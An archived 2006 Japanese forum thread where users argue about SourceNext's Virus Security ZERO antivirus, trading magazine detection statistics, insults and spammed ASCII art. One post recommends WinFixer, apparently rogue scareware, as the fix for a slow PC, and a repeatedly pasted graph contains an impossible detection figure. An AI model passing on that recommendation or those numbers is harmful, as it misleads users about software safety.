5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

ウイルスセキュリティZERO 3年目

1 :名無しさん@お腹いっぱい。:2006/09/03(日) 09:46:16
ソースネクストがリリースした画期的な更新料無料の
セキュリティソフトについて語り合いましょう。

前スレ
ウイルスセキュリティZERO
http://pc8.2ch.net/test/read.cgi/sec/1148935377/

ウイルスセキュリティZERO2年目
http://pc8.2ch.net/test/read.cgi/sec/1155128509/

2 :名無しさん@お腹いっぱい。:2006/09/03(日) 09:51:47
関連スレ
【ソース】ウイルスセキュリティPart23【K7】
http://pc8.2ch.net/test/read.cgi/sec/1155768807/

3 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:10:30
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /


4 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:11:20
有名アンチウイルス検出数まとめ

HackerJapan7月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
37,117検体中
マカフィー・・・・・・・・・・36,737
ノートン・・・・・・・・・・・・36,147
ウイルスバスター・・・・34,668
ウイルスセキュリティ・15,043

PCJapan12月号に掲載されたウイルス検出テスト(DOS、トロイ含む)
18,567検体中
ノートン・・・・・・・・・・・・18,389
マカフィー・・・・・・・・・・18,262
ウイルスバスター・・・・17,609
ウイルスセキュリティ・6,233

道具解で行われたウイルス検出テスト(Win32系のみ、トロイ含まず)
2,059検体中
マカフィー・・・・・・・・・・2,025
ノートン・・・・・・・・・・・・2,017
ウイルスバスター・・・・1,883
ウイルスセキュリティ・1,007

5 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:11:58
3年目か・・・早いな。
ZEROの方も3年使えればいいなあ。

6 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:13:00
PCJapanに掲載されたXPインストール直後の全体スキャンの速度

ウイルスバスター/55分
キングソフト/1時間15分
NOD32/1時間16分
マカフィー/1時間33分
ウイルスセキュリティ/2時間12分
ノートン/2時間15分
カスペルスキー/2時間17分

7 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:13:32
業界標準のVB100%にも参加できないダメソフト
フリーのAntiVir, Avast, AVGはVB100%に合格している

VB100%, Jun 2006, Windows XP (ttp://www.virusbtn.com/)

合格 (19)
Alwil (avast!), Authentium, Avira (AntiVir), Computer Associates (Vet), Doctor Web, Eset,
F-Secure, Fortinet, GDATA, Grisoft (AVG), Kaspersky, McAfee, MicroWorld, Microsoft OneCare,
NWI, Norman, SOFTWIN (BitDefender), Sophos, Symantec

不合格 (7)
AEC, AhnLab, CAT QuickHeal, Central Command, FRISK, Hauri, VirusBuster

不参加 (14)
Aladdin Knowledge Systems, ArcaBit, Avira (formerly H+BEDV), BLC,
Computer Associates (eTrust/InoculateIT), GeCAD, Ggreat, Ikarus, Leprechaun,
Panda, Proland Software, Secure Resolutions, Trend Micro, Unasoft

8 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:14:27
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /


9 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:15:18
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /


10 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:17:47
おいおい・・・さっそくAAコピペ厨が、荒らしまくってるぞ
ヤレヤレ・・・

11 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:18:16
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /


12 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:19:02
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /


13 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:19:50
ウイルスセキュリティは、市場に絶大な脅威を与えている。
ゆえに他社から非常におそれられている。
そのため、他社の雇った工作員が各スレで暗躍している。
これは、ウイルスセキュリティにつきまとう「宿命」でもある。

14 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:20:32
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /


15 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:21:17
>>13
なるほど・・・
だから、こうして24時間態勢でウイルスセキュリティ板を見張っている訳か。

16 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:23:26
時給800円(こんな仕事800円でも高いと思うが)
として、3交代で一日約2万円。
別にメジャーな企業だったら、問題ない工作資金だな。

17 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:24:43
ここまでアンチで粘着するのは、よほど頭のおかしい奴か、
金銭がらみだからなー。

18 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:28:20
大手のソフト会社さん、アンチ工作に金をかけるなら、もっと値下げしてほしい

19 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:43:27
グラフコピ厨の貼り付けてるのも、
元の検体数より、カスペの検出の方が数値が多くなってるし。

こんなアホなグラフ貼り付けて、しょせんアンチのやることは、
この程度
馬鹿の集団w

20 :名無しさん@お腹いっぱい。:2006/09/03(日) 10:47:34
しかたないよ。このソフトを叩くのが目的なんだから。

21 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:18:11
>>20
>このソフトを叩く

つーかバカにされてるなw

22 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:19:25
叩かれるのは、一流の有名税みたいなものだよ・・・




23 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:25:37
バカの有名税?

24 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:28:01
ちょwww

1000 名前: 名無しさん@お腹いっぱい。 投稿日: 2006/09/03(日) 11:27:09
無料のソフトAVGに負ける低い検出力

それがVS・ZEROだ




25 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:28:26
>>23
あげ荒らし馬鹿w

26 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:29:23
このスレは常にageで書き込むように

27 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:29:43
だからさ〜、アンチって一纏めにして基地外集団みたいに言うなっつ〜の。
根拠となるデータ、情報が全くの捏造なら話も分かるけど、ほとんど事実じゃない。
それを言われて基地外扱いは如何なモンじゃね〜の?

言いたい事があるなら、きちんとデータ・ソースを示せばいいじゃん。ねっ!
是非見せて!


28 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:30:02
ウイルスセキュリティでいいよ

29 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:31:36
「普通の人」が「普通の使い方」ならね
VSで十分www

30 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:32:53
パソオタが違法ファイル交換するなら、
農豚くらいは必要だろうな

31 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:33:01
自分が今使ってるいるソフトの信頼性についてよく知っておこう
ウィルス対策の第一歩はそこから

http://www4.pf-x.net/%7Ezot/

32 :VS電気物語:2006/09/03(日) 11:33:35
【第1話】
客「家のセキュリティ対策を検討しているんですが?」
VS電気「このセキュリティシステムなら安価で安心です。これをお勧めします。」
客「そうなの。じゃあ、これを頂くわ」
VS電気「お買い上げ有難うございます」

…数日後

客「あなたがこのセキュリティシステムで万全だって言ったから取り付けたのに
  泥棒に入られて家の中ぐちゃぐちゃよ」
VS「この客は性格が歪んでいるみたいです。頭おかしいです。このシステムは万全です。
  営業妨害しないで下さい。」

33 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:34:58
結局、自分がクレーマーと告白しているようなものだが・・・

34 :VS電気物語:2006/09/03(日) 11:35:51
【第2話】
客「何言ってるのよ。実際に泥棒に入られたから言ってるんじゃない!」
VS電気「お客様こそ何を言ってるんですか。このシステムはセキュリティとして
    十分な性能を持っているんですよ」
客「だから〜、それでも泥棒に入られたって言ってるの。事実なの!」
VS電気「あ〜、それじゃ家自体の作りが悪かったんじゃないですか?相性もありますから」
客「よくよく調べてみたら、セキュリティ性能が低いって言うじゃないの!」
VS電気「そんなデータに惑わされないで下さい。このシステムは万全です。」

35 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:36:26
   / ̄ ̄\
 /   _ノ  \
 |    ( ●)(●)
. |     (__人__)   普通にウイルスセキュリティゼロはいらないだろ・・
  |     ` ⌒´ノ      常識的に考えて・・・
.  |         }
.  ヽ        }
   ヽ     ノ        \
   /    く  \        \
   |     \   \         \
    |    |ヽ、二⌒)、          \


36 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:37:04
>>34
何が言いたいのか知らないが
もうお前の妄想話はいいよ。

37 :VS電気物語:2006/09/03(日) 11:39:26
【第3話】
客「だからね。日本語分かる?実際に泥棒に入られたって言ってるの!」
VS電気「店長、この基地外クレーマー何とかして下さい。性格歪んでますよ。
    もう営業妨害になるので帰ってください。」
客「こうなったら、出るとこ出ますか?損害賠償を請求するわ。」
VS電気「言っておきますけど、損害を賠償するにせよ、このシステムの購入額
    しか支払いませんよ。同意書に書いてあるでしょ。裁判費用のほうが
    高く付きますよ。本当にもう営業妨害なんで帰ってもらえませんか?」


38 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:40:00
あと、先行投資でこのソフト使ってる人もいるようだが
他のきちんとしたソフトを購入しないってことも同時に選択していることも自覚すること

俺はいい加減なソフトを販売しているソースを応援する奴の気が知れないけどな

何も知らずに購入して後悔してるいる人も多いと思う
まずはルータを購入して使用することを進める
無線LAN機能が必要なければ最新のルータでも4000円くらいで買える
このソフト買うよりもルータ買ったほうがはるかにセキュリティーは高くなる
こまめに他社製のオンラインスキャンにかけることも忘れずに


39 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:41:21
>>37
・・・・で、お前がやっていたことは、
住んでるトコがヨハネスバーグに当たるような行為をしてて、
無茶な要求してたってオチだろ?
前スレの恥をわざわざさらすなよ・・・www

40 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:43:54
アンチってたいてい、自分の落ち度を他人のせいにするのな

41 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:46:04
>>39
wwwwwwまだ片言の日本語だね^^

南アフリカの人ですか?

もう少し分かり易い日本語でどうぞ

42 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:47:42
更新料がゼロと言っても元々は1980円の物。
それに2000円分、更新料を上乗せしたようなもんだなコレ。
よくこんなやり方でK7が怒らなかったものだ。

43 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:48:00
だからさ〜、アンチって一纏めにして基地外集団みたいに言うなっつ〜の!
根拠となるデータ、情報が全くの捏造なら話も分かるけど、ほとんど事実じゃない。
それを言われて基地外扱いは如何なモンじゃね〜の?

言いたい事があるなら、きちんとデータ・ソースを示せばいいじゃん。ねっ!
是非見せて!


44 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:50:14
>>41
自分のアホな行動が暴露されたからって、見当違いなことに噛みつくなよ。
だから、アンチの批判はそこが浅いって言われるんだよ。

45 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:52:01
データを信じたい奴は、それを信じて高いソフトに頼ればいいさ。
お目出度いな。

46 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:52:50
データの出所も怪しすぎるしな

47 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:53:43
グラフコピ厨は数値を捏造してるしwww

48 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:55:01
age

49 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:55:37
ソース・工作員の言い分

ソースにとって不利益な発言= 狂言
その発言をした者= アンチ、基地外、PCオタ、他社工作員など
その発言の根拠となったデータ= 捏造、当てにならない、そのデータが
                全てじゃない。

VSにとって不利益になる書き込みは、全て…(ry
かといって、VSが良いという根拠となるデータ・ソースは一切なし。
挙句の果ては、シェアに逃げる。シェアなんてどれだけ疎い人が引っかかったか?
ってことなのにね。

50 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:56:22
Webを楽しむにあたって、海外のサイトを見てはいけないとゆう意見は常識なのか?
俺は世界中のサイトを見てまわりたい
こんな島国の中の情報だけ見ても偏った情報しか手に入らないだろう
世界にはいろんな国にいろんな人が住んでいてそれぞれの事情を抱えているのだ
まぁ、色々な人がいるからセキュリティー対策が必要になるわけだが

ネットの使用において普通の使い方ってものは存在しない
どう使おうがそれはその人の自由だ
P2Pだって2chでもプロジェクトに参加して白血病の研究にあなたのパソコンを
役にて立ててみませんか?みたいなことをやっていたと思う


51 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:57:34
アンチの言い分

粘着常駐
責任転嫁
個人攻撃

ということか

52 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:57:48
>>44
 ↑ 己の浅さに気付かない可哀想な人

53 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:58:39
webを楽しむとき、
違法ファイル交換はやめましょうw

54 :名無しさん@お腹いっぱい。:2006/09/03(日) 11:59:55
その話は板違いだ
他所でやってくれ

55 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:00:23
俺は世界中のサイトを見てるんだけど
VS入れてからも一度もウイルスに感染したことがない。


56 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:00:29
各種セキュリティソフトを比較したサイトが多数あります。
“セキュリティソフト 比較”で検索してみてください。

これなら公平じゃない?

まだ購入していない人は是非購入する前に!


57 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:02:26
さすがマカフィーが逃げた実績のある会社のスレは殺伐としてますね

58 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:02:49
なぜ、アンチはここまで時間と執念をかけられるのか?

粘着質だから
でソースのアンチ工作に精を出す

59 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:04:51
感染してからでは遅いのです。インターネットを使っているユーザーは、
自分のデータが損なわれるだけでなく、


    他のユーザーに被害を与える危険性がある!


ということを強く認識しなければなりません

60 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:07:48
テストするから何かウイルス貼ってくれよ。

61 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:09:26
違反行為です

62 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:09:27
>55
参考までにパソコンの使用環境を教えて貰えませんか
ルータを使用しているのか
他社のFWを使用しているのか
他社製のオンラインスキャンは使用しているのか


63 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:09:31
まぁー、使う使わないは勝手だがマジでシマンテックや
トレンドマイクロのオンラインスキャンを
定期的に行なってチェックしろよ

自分だけならいいが他人にも迷惑かけるからな

64 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:11:33
>>63
VSを使うと100%感染すると思いこんでいる馬鹿

65 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:14:24
>>64
100%でなくても50%の確率はあるだろうな、これだと

66 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:16:06
>>62
ルータを使用しているのか →○
他社のFWを使用しているのか →×
他社製のオンラインスキャンは使用しているのか→×

つまり、これ1本な訳だ。

67 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:17:49
>普通の人が普通の使い方
使い方は人それぞれ
普通の使い方など存在しない

68 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:18:44
普通の使い方=違法なことをしていない使い方

やはり、アンチは理解できない

69 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:20:28
いや、もしルータや他社のFWを使用せずにネットしているとして
VSしか入れてなくてウィルスに感染しないとなると
セキュリティーソフトは特に用意する必要はないということになると思うんだ

もしかしたら、ルータ(ハードでのFW)やMSのOSと機能を使ってればセキュ問題なしって
時代が来るのかもとか思うと、ちと現状を確認したくなる

どなの?>55さん?

70 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:21:44
あ、ごめん
レスサンクス^^;

やっぱルータを使用している環境か

どもね

71 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:26:31
あれ?
他社のオンラインスキャンしてないのか?

う〜む

72 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:29:32
まぁ、それでも心配な人は
他社のオンラインスキャンすればいいんじゃないの

73 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:31:51
大変言いづらいのたが
他社製のオンラインスキャンしないと感染しているかどうか分からないのでは?


74 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:44:19
    , -──- 、
 /::::::::::::::    ::\
/:::::::::::        ::∨ト、        こいつはだめだーッ!
::::::::::          :: レ'ノ
::::::::::::::        ::: レ'⌒ヽ     キング以下の臭いが
ヽ-───i===i─-}ァ'  ノ    プンプンするぜッ─────ッ!!
、` ー-===-゚---゚==‐' /
、`¨フ>;''ニニゞ,;アニニY´; )     こんなセキュリティソフトには出会ったことが
_、;;)¨´,ニ=゚='" ,.ヘ=゚:く {ッリ'        ねえほどなァ────ッ
i1(リ        r;:ドヽ K
ヾ=、     に二ニヽ `|; )      2chのせいで検出力が低く見られてるだと?
_,ノ| i.     {⌒゙'^ヽ.{  i;; ヽ        ちがうねッ!!
_,ノ!i ヽ、  ヾ二ニソ ,';;;  ;;冫=:、
_;(|.!.  \   ‐っ /!;;; ;;/ 、''"\__  こいつは生まれついての低検出力だッ!
'ト、\.   ,ゝ、.二..イリ\ / ー1\'ニゝヽ_
:ヽ  `ニア   ,. -┴‐‐'  ー-:l :=ゞ=ソ」=ヽ   ひろゆきさん
:::::\ ニ=ト、.i___`ー-┴-、ノ .   l __l| ,ニト、くヽ
l::::::::::\ー:ト      __}/ト、゙ ー-‐| ,ニ|ゞ=ハ `¨´ー-  早えとこ
;ニ=ー:::::::ヾト、._    ̄ ノ|::ヽ ニ._‐-ゞ=' .ノ ::|::::::::::: この糞スレを削除しちまいな!
:\:::::::::::::::ヽ   ̄ ̄ !:|:::::    ̄ ̄  ::::|::::::::


75 :名無しさん@お腹いっぱい。:2006/09/03(日) 12:51:22
VirusBulletin VB 100% Award でこのソフトを見かけないのはなぜ?

76 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:01:08
しるかボケ

77 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:03:51
最近PCが重い!

├ 1.RegSeekerを使う

│    [まちがい]
│      確実な方法ではありますが、漢専用なのが難点です。
│      それよりも別の手段を探してみませんか?
│      ちょっとしたフリーウェアでなんとかなるかも?
│              ↑
│          ココがポイント!

└ 2.Win Fixerを使う

      [せいかい]

Win Fixer
http://jp.winfixer.com/


78 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:05:56
前スレより

>ZEROは、パソコンを道具と思っている人や、
>ウイルス対策にお金をかけたくない人、
>フリーソフトの存在を知らない人、二の足を踏む人
>最初から、このような層をターゲットにしている。
>つまり、大手の高級ソフトの間をかいくぐった、商売としては、
>すばらしい戦略だ。
>今後はシェア維持のため、多くの資金が性能アップに傾注されることを期待したい。

(´σ `) ホジホジ

79 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:09:22
>>75
ウイルス検出力のチェック&表記=性能が暴露される

80 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:23:49
>>75
アンチの心の拠り所

でも普通の人は目もくれないその程度のもの

当然、市場にもなんら反映されない

81 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:34:21
>55さん
大丈夫かな?
他社製のオンラインスキャン終了したかな?

82 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:42:14
唐揚げ

83 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:45:31
ウイルスセキュリティに限ったことではない
ノートンでも、バスターでも他社のオンラインスキャンはお勧め

84 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:50:19
>当然、市場になんら反映されない

(プ
ttp://www.virusbtn.com/index

85 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:50:31
ですねぇ
自分マカァ厨なのですが、たまぁに他社オンラインスキャンしてます

プロバでメールを無料でウィルスチェックしてくれたりする時代だから
以前よりはセキュリティー環境はよくなってるのかも知れませんね

86 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:51:05
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

87 :名無しさん@お腹いっぱい。:2006/09/03(日) 13:53:46
安心して使えるソフトがなくなるとゆうことですか
勘弁してくださいよ

88 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:00:45
初心者諸君!
マイクロソフトが推奨してない 事実 は分かって欲しい

http://www.microsoft.com/athome/security/viruses/wsc/ja/default.mspx

あなたにスキルがつくまでは固いの使えよ
最初はみんな初心者なんだよ

89 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:07:53
みんなVSを導入して、これから起きる様々なトラブルを経験してスキルを身につけようぜ!

90 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:09:24
初心者にもやさしいソフトが
ウイルスセキュリティZEROなのです。

他社工作員は、自社製品への打撃をおそれて、必死にアンチ活動を
続けています。
一般的な使い方ではウイルスセキュリティで十分です。
現在も、売れに売れています。

91 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:10:50
いえ、この会社はだめです。


3 :寂しがりやの名無しさん :2006/06/09(金) 20:11:30 ID:wnCUk6aA0
地雷ソフト:
・ウイルスセキュリティ(アンチウイルスソフト。新バージョンになっても不具合報告多し)
・携快電話シリーズ (携帯電話編集ソフト。バージョンの度何度か作成元を変えているが相変わらず不具合報告多し)
・データプロテクト:(メールデータが消える不具合が発生。現在修正済み)
・現行以前の速シリーズ(アクセラレーターソフト他。地雷ソフトの定番)
・驚速パソコン2006 (以前の速シリーズの流れをくむアクセラレーターソフト。相変わらず地雷)
・超縮(圧縮解凍ソフト。画像圧縮は非可逆圧縮)
・引越おまかせパック(データ移行支援ソフト。過去スレでトラブルあり)
・いきなりPDF to Data (肝心のOCRエンジンの質が悪い。本格読取を使用することで精度は上がる)
・MP3 PowerEncoder(Windows Media Playerを利用してMP3を作成するソフトだが、最新のWMPでMP3が作成できるためほとんど無意味。)
そのほか色々…


92 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:12:31
89 :名無しさん@お腹いっぱい。 :2006/09/03(日) 14:07:53
みんなVSを導入して、これから起きる様々なトラブルを経験してスキルを身につけようぜ!


なんだよ!性能悪いの知ってるジャン!!!

93 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:16:52
http://www.google.co.jp/search?ie=UTF-8&oe=UTF-8&hl=ja&lr=lang_ja&q=%E3%82%BD%E3%83%BC%E3%82%B9%E3%83%8D%E3%82%AF%E3%82%B9%E3%83%88%E3%81%AE%E9%87%8D%E5%A4%A7%E7%96%91%E6%83%91

http://www.lib.city.minato.tokyo.jp/MNWLIB/servlet/search.detail_list?tilcod=1000000063856

未熟者め!


http://www2.library.shinjuku.tokyo.jp/cgi-bin/detail?biblioid=0201496384&type=0&count=10&before=select

http://libweb.city.setagaya.tokyo.jp/clis/detail?NUM=004086094&CTG=1&RTN=01&SID=003978566&RTNPAGE=/search2.html



94 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:17:53
ウイルッセキュリティを使う人は、

どんどん、どんどん

増えています。


95 :名無しさん@お腹いっぱい。:2006/09/03(日) 14:19:28
あなたはそのバカには入らないでね

96 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:01:20
法人向けにマルチライセンスパックがWebにも紹介されている。

25ライセンスとか50ライセンス、100ライセンス
など、購入するところも結構あるそうな。

97 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:04:01
家庭用では、2台目、3台目向けに購入する人も多かったが・・・・
ウイルスバスター2007が1シリアルで3台までインストールを
認めるような動きがあり、今後のユーザーの動向が注目される。

98 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:05:11
ウイルスセキュリティ使っていて、未だ、ウイルスには感染してません。
けっこう、使えるかも…というのが、実感。

99 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:10:17
使えるかも…
>>91


100 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:11:48
>>96
責任ある立場を自覚するならこのような低検出
は選びません


101 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:13:52
×ウイルスには感染してません
○ウイルスには認識してません

102 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:15:44
>○ウイルスには認識してません

日本語ができないらしい




103 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:18:13
落ち着け、ウンチ!!

104 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:21:55
ウイルスに感染しても、検出力が低いので認識でません。が正解

105 :名無しさん@お腹いっぱい。:2006/09/03(日) 15:30:59
>>99
ソフト板のソーススレのテンプレ。

アンチも醜いが、マンセーする奴らもスレを汚してるだけ。

106 :名無しさん@お腹いっぱい。:2006/09/03(日) 16:29:19
ちょと確認しておきたいんだが、VSはまぁ良い悪いあると思う
だが驚速は激地雷だよな? それはさすがにここの信者でも認めるはず
VSの信者であっても構わないがソースの信者であるのは勘弁してくれ

107 :名無しさん@お腹いっぱい。:2006/09/03(日) 16:44:15
ま〜なんといってもK7は凄いわ


何も告げず二日間ホームページが落ちたままなんて
セキュリティソフト会社としては考えられない事だ

108 :名無しさん@お腹いっぱい。:2006/09/03(日) 16:48:48
俺の記憶だともっと落ちてた

109 :名無しさん@お腹いっぱい。:2006/09/03(日) 16:49:55
もっとダメじゃん

110 :名無しさん@お腹いっぱい。:2006/09/03(日) 16:55:37
この頃脳が溶けてきて

111 :名無しさん@お腹いっぱい。:2006/09/03(日) 16:56:47
アンチがVSのソフト自体の叩きに手詰まりして、
K7の叩きにも手を広げ始めた。
あらゆる攻撃をするこの執念。全く恐れ入る。

112 :名無しさん@お腹いっぱい。:2006/09/03(日) 16:58:12
ああ、ついでにいうと
>>107-109
は、同じ奴の「上げ荒らし」野郎だ。

113 :名無しさん@お腹いっぱい。:2006/09/03(日) 17:03:27
